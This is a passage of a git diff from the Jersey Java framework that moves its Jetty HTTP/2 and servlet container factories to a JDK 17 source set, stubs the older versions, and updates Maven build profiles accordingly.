- * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
- * @throws IllegalArgumentException if {@code uri} is {@code null}.
- *
- * @since 2.40
- */
-
public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException {
- return createHttp2Server(uri, null, null, start);
+ validateJdk();
+ return null; // does not work at JDK lower than 17
}
- /**
- * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
- * in turn manages all root resource and provider classes declared by the
- * resource configuration.
- *
- * @param uri the URI to create the http server. The URI scheme must be
- * equal to "https". The URI user information and host
- * are ignored If the URI port is not present then port 143 will be
- * used. The URI path, query and fragment components are ignored.
- * @param config the resource configuration.
- * @param parentContext DI provider specific context with application's registered bindings.
- * @param start if set to false, server will not get started, this allows end users to set
- * additional properties on the underlying listener.
- * @return newly created {@link Server}.
- *
- * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
- * @throws IllegalArgumentException if {@code uri} is {@code null}.
- * @see JettyHttpContainer
- *
- * @since 2.40
- */
public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start,
final Object parentContext) {
- return createHttp2Server(uri, null,
- new JettyHttpContainerProvider().createContainer(JettyHttpContainer.class,
- config, parentContext), start);
+ validateJdk();
+ return null; // does not work at JDK lower than 17
}
- /**
- * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
- * in turn manages all root resource and provider classes found by searching the
- * classes referenced in the java classpath.
- *
- * @param uri the URI to create the http server. The URI scheme must be
- * equal to {@code https}. The URI user information and host
- * are ignored. If the URI port is not present then port
- * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
- * used. The URI path, query and fragment components are ignored.
- * @param sslContextFactory this is the SSL context factory used to configure SSL connector
- * @param handler the container that handles all HTTP requests
- * @param start if set to false, server will not get started, this allows end users to set
- * additional properties on the underlying listener.
- * @return newly created {@link Server}.
- *
- * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
- * @throws IllegalArgumentException if {@code uri} is {@code null}.
- * @see JettyHttpContainer
- *
- * @since 2.40
- */
public static Server createHttp2Server(final URI uri,
final SslContextFactory.Server sslContextFactory,
final JettyHttpContainer handler,
final boolean start) {
- /**
- * Creating basic Jetty HTTP/1.1 container (but always not started)
- */
- final Server server = JettyHttpContainerFactory.createServer(uri, sslContextFactory, handler, false);
- /**
- * Obtain configured HTTP connection factory
- */
- final ServerConnector httpServerConnector = (ServerConnector) server.getConnectors()[0];
- final HttpConnectionFactory httpConnectionFactory = httpServerConnector.getConnectionFactory(HttpConnectionFactory.class);
-
- /**
- * Obtain prepared config
- */
- final HttpConfiguration config = httpConnectionFactory.getHttpConfiguration();
-
- /**
- * Add required H2/H2C connection factories using pre-configured config from the HTTP/1.1 server
- */
- final List<ConnectionFactory> factories = getConnectionFactories(config, sslContextFactory);
-
- /**
- * adding connection factories for H2/H2C protocol
- */
- for (final ConnectionFactory factory : factories) {
- httpServerConnector.addConnectionFactory(factory);
- }
- server.setConnectors(new Connector[]{httpServerConnector});
-
- /**
- * Starting the server if required
- */
- if (start) {
- try {
- // Start the server.
- server.start();
- } catch (final Exception e) {
- throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e);
- }
- }
- return server;
+ validateJdk();
+ return null; // does not work at JDK lower than 17
}
- private static List<ConnectionFactory> getConnectionFactories(final HttpConfiguration config,
- final SslContextFactory.Server sslContextFactory) {
- final List<ConnectionFactory> factories = new ArrayList<>();
- if (sslContextFactory != null) {
- factories.add(new HTTP2ServerConnectionFactory(config));
- final ALPNServerConnectionFactory alpn = new ALPNServerConnectionFactory();
- alpn.setDefaultProtocol("h2");
- factories.add(new SslConnectionFactory(sslContextFactory, alpn.getProtocol()));
- factories.add(alpn);
- } else {
- factories.add(new HTTP2CServerConnectionFactory(config));
+ private static void validateJdk() {
+ if (JdkVersion.getJdkVersion().getMajor() < 17) {
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
}
-
- return factories;
}
}
diff --git a/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
new file mode 100644
index 0000000..b03f409
--- /dev/null
+++ b/containers/jetty-http2/src/main/java17/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
@@ -0,0 +1,217 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.http2;
+
+import org.eclipse.jetty.alpn.server.ALPNServerConnectionFactory;
+import org.eclipse.jetty.http2.server.HTTP2CServerConnectionFactory;
+import org.eclipse.jetty.http2.server.HTTP2ServerConnectionFactory;
+import org.eclipse.jetty.server.ConnectionFactory;
+import org.eclipse.jetty.server.Connector;
+import org.eclipse.jetty.server.HttpConfiguration;
+import org.eclipse.jetty.server.HttpConnectionFactory;
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
+import org.eclipse.jetty.server.SslConnectionFactory;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.glassfish.jersey.jetty.JettyHttpContainer;
+import org.glassfish.jersey.jetty.JettyHttpContainerFactory;
+import org.glassfish.jersey.jetty.JettyHttpContainerProvider;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.ResourceConfig;
+
+import jakarta.ws.rs.ProcessingException;
+import java.net.URI;
+import java.util.ArrayList;
+import java.util.List;
+
+public final class JettyHttp2ContainerFactory {
+
+ private JettyHttp2ContainerFactory() {
+
+ }
+
+ /**
+ * Creates HTTP/2 enabled {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+ * segment will be used as context path, the rest will be ignored.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createHttp2Server(final URI uri) throws ProcessingException {
+ return createHttp2Server(uri, null, null, true);
+ }
+
+ /**
+ * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ * <p/>
+ * This implementation defers to the
+ * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
+ * for creating an Container that manages the root resources.
+ *
+ * @param uri URI on which the Jersey web application will be deployed. Only first path segment will be
+ * used as context path, the rest will be ignored.
+ * @param configuration web application configuration.
+ * @param start if set to false, server will not get started, which allows to configure the underlying
+ * transport layer, see above for details.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ */
+ public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start)
+ throws ProcessingException {
+ return createHttp2Server(uri, null,
+ ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start);
+ }
+
+ /**
+ * Creates HTTP/2 enabled {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
+ *
+ * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
+ * segment will be used as context path, the rest will be ignored.
+ * @param start if set to false, server will not get started, which allows to configure the underlying transport
+ * layer, see above for details.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ *
+ * @since 2.40
+ */
+
+ public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException {
+ return createHttp2Server(uri, null, null, start);
+ }
+
+ /**
+ * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes declared by the
+ * resource configuration.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to "https". The URI user information and host
+ * are ignored If the URI port is not present then port 143 will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param config the resource configuration.
+ * @param parentContext DI provider specific context with application's registered bindings.
+ * @param start if set to false, server will not get started, this allows end users to set
+ * additional properties on the underlying listener.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ * @see JettyHttpContainer
+ *
+ * @since 2.40
+ */
+ public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start,
+ final Object parentContext) {
+ return createHttp2Server(uri, null,
+ new JettyHttpContainerProvider().createContainer(JettyHttpContainer.class,
+ config, parentContext), start);
+ }
+
+ /**
+ * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
+ * in turn manages all root resource and provider classes found by searching the
+ * classes referenced in the java classpath.
+ *
+ * @param uri the URI to create the http server. The URI scheme must be
+ * equal to {@code https}. The URI user information and host
+ * are ignored. If the URI port is not present then port
+ * {@value org.glassfish.jersey.server.spi.Container#DEFAULT_HTTPS_PORT} will be
+ * used. The URI path, query and fragment components are ignored.
+ * @param sslContextFactory this is the SSL context factory used to configure SSL connector
+ * @param handler the container that handles all HTTP requests
+ * @param start if set to false, server will not get started, this allows end users to set
+ * additional properties on the underlying listener.
+ * @return newly created {@link Server}.
+ *
+ * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
+ * @throws IllegalArgumentException if {@code uri} is {@code null}.
+ * @see JettyHttpContainer
+ *
+ * @since 2.40
+ */
+ public static Server createHttp2Server(final URI uri,
+ final SslContextFactory.Server sslContextFactory,
+ final JettyHttpContainer handler,
+ final boolean start) {
+
+ /**
+ * Creating basic Jetty HTTP/1.1 container (but always not started)
+ */
+ final Server server = JettyHttpContainerFactory.createServer(uri, sslContextFactory, handler, false);
+ /**
+ * Obtain configured HTTP connection factory
+ */
+ final ServerConnector httpServerConnector = (ServerConnector) server.getConnectors()[0];
+ final HttpConnectionFactory httpConnectionFactory = httpServerConnector.getConnectionFactory(HttpConnectionFactory.class);
+
+ /**
+ * Obtain prepared config
+ */
+ final HttpConfiguration config = httpConnectionFactory.getHttpConfiguration();
+
+ /**
+ * Add required H2/H2C connection factories using pre-configured config from the HTTP/1.1 server
+ */
+ final List<ConnectionFactory> factories = getConnectionFactories(config, sslContextFactory);
+
+ /**
+ * adding connection factories for H2/H2C protocol
+ */
+ for (final ConnectionFactory factory : factories) {
+ httpServerConnector.addConnectionFactory(factory);
+ }
+ server.setConnectors(new Connector[]{httpServerConnector});
+
+ /**
+ * Starting the server if required
+ */
+ if (start) {
+ try {
+ // Start the server.
+ server.start();
+ } catch (final Exception e) {
+ throw new ProcessingException(LocalizationMessages.ERROR_WHEN_CREATING_SERVER(), e);
+ }
+ }
+ return server;
+ }
+
+ private static List<ConnectionFactory> getConnectionFactories(final HttpConfiguration config,
+ final SslContextFactory.Server sslContextFactory) {
+ final List<ConnectionFactory> factories = new ArrayList<>();
+ if (sslContextFactory != null) {
+ factories.add(new HTTP2ServerConnectionFactory(config));
+ final ALPNServerConnectionFactory alpn = new ALPNServerConnectionFactory();
+ alpn.setDefaultProtocol("h2");
+ factories.add(new SslConnectionFactory(sslContextFactory, alpn.getProtocol()));
+ factories.add(alpn);
+ } else {
+ factories.add(new HTTP2CServerConnectionFactory(config));
+ }
+
+ return factories;
+ }
+}
diff --git a/containers/jetty-http2/src/main/java8/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java8/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
deleted file mode 100644
index 6b148ed..0000000
--- a/containers/jetty-http2/src/main/java8/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty.http2;
-
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.jetty.JettyHttpContainer;
-import org.glassfish.jersey.jetty.http2.LocalizationMessages;
-import org.glassfish.jersey.server.ContainerFactory;
-import org.glassfish.jersey.server.ResourceConfig;
-
-import jakarta.ws.rs.ProcessingException;
-import java.net.URI;
-import java.util.ArrayList;
-import java.util.List;
-
-public final class JettyHttp2ContainerFactory {
-
- private JettyHttp2ContainerFactory() {
-
- }
-
- public static Server createHttp2Server(final URI uri) throws ProcessingException {
- validateJdk();
- return null; // does not work at JDK 1.8
- }
-
- public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start)
- throws ProcessingException {
- validateJdk();
- return null; // does not work at JDK 1.8
- }
-
- public static Server createHttp2Server(final URI uri, final boolean start) throws ProcessingException {
- validateJdk();
- return null; // does not work at JDK 1.8
- }
-
- public static Server createHttp2Server(final URI uri, final ResourceConfig config, final boolean start,
- final Object parentContext) {
- validateJdk();
- return null; // does not work at JDK 1.8
- }
-
- public static Server createHttp2Server(final URI uri,
- final SslContextFactory.Server sslContextFactory,
- final JettyHttpContainer handler,
- final boolean start) {
-
- validateJdk();
- return null; // does not work at JDK 1.8
- }
-
- private static void validateJdk() {
- if (JdkVersion.getJdkVersion().getMajor() < 11) {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
- }
-}
diff --git a/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties b/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties
index 9807184..ba290bd 100644
--- a/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties
+++ b/containers/jetty-http2/src/main/resources/org/glassfish/jersey/jetty/http2/localization.properties
@@ -16,4 +16,4 @@
# {0} - status code; {1} - status reason message
error.when.creating.server=Exception thrown when trying to create jetty server.
-not.supported=Jetty container is not supported on JDK version less than 11.
\ No newline at end of file
+not.supported=Jetty container is not supported on JDK version less than 17.
\ No newline at end of file
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java
index 6134d03..d3a68a8 100644
--- a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AbstractJettyServerTester.java
@@ -89,7 +89,7 @@
return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
}
- public void startServer(Class... resources) {
+ public void startServer(Class<?>... resources) {
ResourceConfig config = new ResourceConfig(resources);
config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
final URI baseUri = getBaseUri();
diff --git a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java
index ac1ebb5..7828d9b 100644
--- a/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java
+++ b/containers/jetty-http2/src/test/java/org/glassfish/jersey/jetty/http2/AsyncTest.java
@@ -45,7 +45,6 @@
public class AsyncTest extends AbstractJettyServerTester {
@Path("/async")
- @SuppressWarnings("VoidMethodAnnotatedWithGET")
public static class AsyncResource {
public static AtomicInteger INVOCATION_COUNT = new AtomicInteger(0);
diff --git a/containers/jetty-servlet/pom.xml b/containers/jetty-servlet/pom.xml
index 73f1f69..748af2b 100644
--- a/containers/jetty-servlet/pom.xml
+++ b/containers/jetty-servlet/pom.xml
@@ -23,7 +23,7 @@
<parent>
<groupId>org.glassfish.jersey.containers</groupId>
<artifactId>project</artifactId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-container-jetty-servlet</artifactId>
@@ -32,6 +32,13 @@
<description>Jetty Servlet Container</description>
+ <properties>
+ <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
+ <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
+ <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
+ <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
+ </properties>
+
<dependencies>
<dependency>
<groupId>org.glassfish.jersey.containers</groupId>
@@ -46,7 +53,21 @@
<dependency>
<groupId>jakarta.servlet</groupId>
<artifactId>jakarta.servlet-api</artifactId>
- <version>${servlet5.version}</version>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-webapp</artifactId>
+ <exclusions>
+ <exclusion>
+ <groupId>org.slf4j</groupId>
+ <artifactId>slf4j-api</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+ <dependency>
+ <groupId>org.glassfish.jersey.containers</groupId>
+ <artifactId>jersey-container-jetty-http</artifactId>
+ <version>${project.version}</version>
</dependency>
</dependencies>
@@ -76,108 +97,54 @@
</plugins>
</build>
- <properties>
- <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
- <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
- <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory>
- <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
- <jetty.javax.version>${jetty9.version}</jetty.javax.version>
- </properties>
-
<profiles>
<profile>
<id>JettyExclude</id>
<activation>
- <jdk>1.8</jdk>
+ <jdk>[11,17)</jdk>
</activation>
<dependencies>
<dependency>
<groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-webapp</artifactId>
+ <version>${jetty11.version}</version>
+ <scope>provided</scope>
+ <exclusions>
+ <exclusion>
+ <groupId>org.slf4j</groupId>
+ <artifactId>slf4j-api</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty.ee10</groupId>
+ <artifactId>jetty-ee10-webapp</artifactId>
+ <scope>provided</scope>
+ <exclusions>
+ <exclusion>
+ <groupId>*</groupId>
+ <artifactId>*</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-server</artifactId>
- <version>${jetty.javax.version}</version>
+ <version>${jetty11.version}</version>
<scope>provided</scope>
</dependency>
<dependency>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-webapp</artifactId>
- <version>${jetty.javax.version}</version>
+ <groupId>org.glassfish.jersey.containers</groupId>
+ <artifactId>jersey-container-jetty-http</artifactId>
+ <version>${project.version}</version>
<scope>provided</scope>
<exclusions>
<exclusion>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-server</artifactId>
</exclusion>
- <exclusion>
- <groupId>org.slf4j</groupId>
- <artifactId>slf4j-api</artifactId>
- </exclusion>
</exclusions>
</dependency>
- <dependency>
- <groupId>org.glassfish.jersey.containers</groupId>
- <artifactId>jersey-container-jetty-http</artifactId>
- <version>${project.version}</version>
- <exclusions>
- <exclusion>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-server</artifactId>
- </exclusion>
- </exclusions>
- </dependency>
- </dependencies>
- <build>
- <directory>${java8.build.outputDirectory}</directory>
- <plugins>
- <plugin>
- <groupId>org.codehaus.mojo</groupId>
- <artifactId>build-helper-maven-plugin</artifactId>
- <executions>
- <execution>
- <phase>generate-sources</phase>
- <goals>
- <goal>add-source</goal>
- </goals>
- <configuration>
- <sources>
- <source>${java8.sourceDirectory}</source>
- </sources>
- </configuration>
- </execution>
- </executions>
- </plugin>
- <plugin>
- <groupId>org.apache.maven.plugins</groupId>
- <artifactId>maven-compiler-plugin</artifactId>
- <configuration>
- <testExcludes>
- <testExclude>org/glassfish/jersey/jetty/*.java</testExclude>
- </testExcludes>
- </configuration>
- </plugin>
- </plugins>
- </build>
- </profile>
- <profile>
- <id>Jetty11</id>
- <activation>
- <jdk>[11,)</jdk>
- </activation>
- <dependencies>
- <dependency>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-webapp</artifactId>
- <exclusions>
- <exclusion>
- <groupId>org.slf4j</groupId>
- <artifactId>slf4j-api</artifactId>
- </exclusion>
- </exclusions>
- </dependency>
- <dependency>
- <groupId>org.glassfish.jersey.containers</groupId>
- <artifactId>jersey-container-jetty-http</artifactId>
- <version>${project.version}</version>
- </dependency>
</dependencies>
<build>
<directory>${java11.build.outputDirectory}</directory>
@@ -203,13 +170,41 @@
</build>
</profile>
<profile>
- <id>copyJDK11FilesToMultiReleaseJar</id>
+ <id>JettyInclude</id>
+ <activation>
+ <jdk>[17,)</jdk>
+ </activation>
+ <build>
+ <directory>${java17.build.outputDirectory}</directory>
+ <plugins>
+ <plugin>
+ <groupId>org.codehaus.mojo</groupId>
+ <artifactId>build-helper-maven-plugin</artifactId>
+ <executions>
+ <execution>
+ <phase>generate-sources</phase>
+ <goals>
+ <goal>add-source</goal>
+ </goals>
+ <configuration>
+ <sources>
+ <source>${java17.sourceDirectory}</source>
+ </sources>
+ </configuration>
+ </execution>
+ </executions>
+ </plugin>
+ </plugins>
+ </build>
+ </profile>
+ <profile>
+ <id>copyJDK17FilesToMultiReleaseJar</id>
<activation>
<file>
- <!-- ${java11.build.outputDirectory} does not work here -->
- <exists>target11/classes/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.class</exists>
+ <!-- ${java17.build.outputDirectory} does not work here -->
+ <exists>target17/classes/org/glassfish/jersey/jetty/JettyWebContainerFactory.class</exists>
</file>
- <jdk>1.8</jdk>
+ <jdk>[11,17)</jdk>
</activation>
<build>
<plugins>
@@ -230,16 +225,16 @@
<inherited>true</inherited>
<executions>
<execution>
- <id>copy-jdk11-classes</id>
+ <id>copy-jdk17-classes</id>
<phase>prepare-package</phase>
<goals>
<goal>copy-resources</goal>
</goals>
<configuration>
- <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory>
+ <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
<resources>
<resource>
- <directory>${java11.build.outputDirectory}/classes</directory>
+ <directory>${java17.build.outputDirectory}/classes</directory>
</resource>
</resources>
</configuration>
@@ -251,14 +246,14 @@
<artifactId>maven-antrun-plugin</artifactId>
<executions>
<execution>
- <id>copy-jdk11-sources</id>
+ <id>copy-jdk17-sources</id>
<phase>package</phase>
<configuration>
<target>
- <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+ <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
<echo>sources-jar: ${sources-jar}</echo>
<zip destfile="${sources-jar}" update="true">
- <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/>
+ <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
</zip>
</target>
</configuration>
@@ -272,4 +267,5 @@
</build>
</profile>
</profiles>
+
</project>
diff --git a/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java b/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
index 7f46e7b..afbec62 100644
--- a/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
+++ b/containers/jetty-servlet/src/main/java11/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,21 +16,15 @@
package org.glassfish.jersey.jetty.servlet;
+import jakarta.servlet.Servlet;
+import jakarta.ws.rs.ProcessingException;
+import org.eclipse.jetty.server.Server;
+import org.glassfish.jersey.jetty.internal.LocalizationMessages;
+import org.glassfish.jersey.servlet.ServletContainer;
+
import java.net.URI;
import java.util.Map;
-import jakarta.servlet.Servlet;
-
-import org.glassfish.jersey.jetty.JettyHttpContainerFactory;
-import org.glassfish.jersey.servlet.ServletContainer;
-import org.glassfish.jersey.uri.UriComponent;
-
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.servlet.ServletHolder;
-import org.eclipse.jetty.webapp.Configuration;
-import org.eclipse.jetty.webapp.WebAppContext;
-import org.eclipse.jetty.webapp.WebXmlConfiguration;
-
/**
* Factory for creating and starting Jetty {@link Server} instances
* for deploying a Servlet.
@@ -216,46 +210,7 @@
private static Server create(URI u, Class<? extends Servlet> c, Servlet servlet,
Map<String, String> initParams, Map<String, String> contextInitParams)
throws Exception {
- if (u == null) {
- throw new IllegalArgumentException("The URI must not be null");
- }
-
- String path = u.getPath();
- if (path == null) {
- throw new IllegalArgumentException("The URI path, of the URI " + u + ", must be non-null");
- } else if (path.isEmpty()) {
- throw new IllegalArgumentException("The URI path, of the URI " + u + ", must be present");
- } else if (path.charAt(0) != '/') {
- throw new IllegalArgumentException("The URI path, of the URI " + u + ". must start with a '/'");
- }
-
- path = String.format("/%s", UriComponent.decodePath(u.getPath(), true).get(1).toString());
- WebAppContext context = new WebAppContext();
- context.setDisplayName("JettyContext");
- context.setContextPath(path);
- context.setConfigurations(new Configuration[]{new WebXmlConfiguration()});
- ServletHolder holder;
- if (c != null) {
- holder = context.addServlet(c, "/*");
- } else {
- holder = new ServletHolder(servlet);
- context.addServlet(holder, "/*");
- }
-
- if (contextInitParams != null) {
- for (Map.Entry<String, String> e : contextInitParams.entrySet()) {
- context.setInitParameter(e.getKey(), e.getValue());
- }
- }
-
- if (initParams != null) {
- holder.setInitParameters(initParams);
- }
-
- Server server = JettyHttpContainerFactory.createServer(u, false);
- server.setHandler(context);
- server.start();
- return server;
+ throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
}
/**
@@ -281,4 +236,4 @@
}
return create(u, null, servlet, initParams, contextInitParams);
}
-}
+}
\ No newline at end of file
diff --git a/containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java b/containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
new file mode 100644
index 0000000..5ada3ed
--- /dev/null
+++ b/containers/jetty-servlet/src/main/java17/org/glassfish/jersey/jetty/servlet/JettyWebContainerFactory.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty.servlet;
+
+import java.net.URI;
+import java.util.Map;
+
+import jakarta.servlet.Servlet;
+
+import org.glassfish.jersey.jetty.JettyHttpContainerFactory;
+import org.glassfish.jersey.servlet.ServletContainer;
+import org.glassfish.jersey.uri.UriComponent;
+
+import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.ee10.servlet.ServletHolder;
+import org.eclipse.jetty.ee10.webapp.Configuration;
+import org.eclipse.jetty.ee10.webapp.WebAppContext;
+import org.eclipse.jetty.ee10.webapp.WebXmlConfiguration;
+
+/**
+ * Factory for creating and starting Jetty {@link Server} instances
+ * for deploying a Servlet.
+ * <p/>
+ * The default deployed server is an instance of {@link ServletContainer}.
+ * <p/>
+ * If no initialization parameters are declared (or is null) then root
+ * resource and provider classes will be found by searching the classes
+ * referenced in the java classpath.
+ *
+ * @author Arul Dhesiaseelan (aruld at acm.org)
+ */
+public final class JettyWebContainerFactory {
+
+ private JettyWebContainerFactory() {
+ }
+
+ /**
+ * Create a {@link Server} that registers the {@link ServletContainer}.
+ *
+ * @param u the URI to create the http server. The URI scheme must be
+ * equal to "http". The URI user information and host
+ * are ignored If the URI port is not present then port 80 will be
+ * used. The URI query and fragment components are ignored. Only first path segment will be used
+ * as context path, the rest will be ignored.
+ * @return the http server, with the endpoint started.
